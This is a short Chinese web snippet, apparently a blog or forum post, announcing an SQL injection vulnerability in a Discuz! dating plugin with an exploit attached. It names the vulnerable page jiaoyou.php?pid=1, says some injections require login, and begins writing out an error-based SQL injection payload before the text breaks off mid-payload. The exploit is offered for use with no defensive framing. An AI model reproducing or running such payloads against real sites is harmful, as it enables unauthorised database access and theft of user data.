Discuz!交友插件漏洞

不再关注网络安全

Discuz交友插件漏洞附EXP

DZ交友插件漏洞jiaoyou.php?pid=1 有的注入需要登录,注入代码如下: ' or @`'` and(select 1 from(select count(*),concat((select (select concat(0x7e,0x...